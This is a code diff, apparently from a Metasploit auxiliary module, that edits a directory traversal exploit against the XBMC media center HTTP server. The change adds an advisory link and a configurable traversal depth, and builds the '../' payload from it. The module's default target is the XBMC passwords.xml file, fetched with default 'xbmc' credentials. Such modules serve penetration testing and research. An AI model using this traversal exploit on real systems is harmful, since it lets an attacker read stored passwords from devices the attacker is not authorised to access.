@@ -31,6 +31,7 @@ def initialize(info={})
31
31
[
32
32
[ 'URL' , 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348' ] ,
33
33
[ 'URL' , 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335' ] ,
34
+ [ 'URL' , 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf' ] ,
34
35
] ,
35
36
'DisclosureDate' => "Nov 4 2012"
36
37
) )
@@ -39,6 +40,7 @@ def initialize(info={})
39
40
[
40
41
Opt ::RPORT ( 8080 ) ,
41
42
OptString . new ( 'FILEPATH' , [ false , 'The name of the file to download' , '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml' ] ) ,
43
+ OptInt . new ( 'DEPTH' , [ true , 'The max traversal depth' , 9 ] ) ,
42
44
OptString . new ( 'USER' , [ true , 'The username to use for the HTTP server' , 'xbmc' ] ) ,
43
45
OptString . new ( 'PASS' , [ true , 'The password to use for the HTTP server' , 'xbmc' ] ) ,
44
46
] , self . class )
@@ -54,7 +56,7 @@ def run_host(ip)
54
56
end
55
57
56
58
# Create request
57
- traversal = "../../../../../../../../.." #The longest of all platforms tested was 9 deep
59
+ traversal = "../" * datastore [ 'DEPTH' ] #The longest of all platforms tested was 9 deep
58
60
res = send_request_raw ( {
59
61
'method' => 'GET' ,
60
62
'uri' => "/#{ traversal } /#{ datastore [ 'FILEPATH' ] } " ,
0 commit comments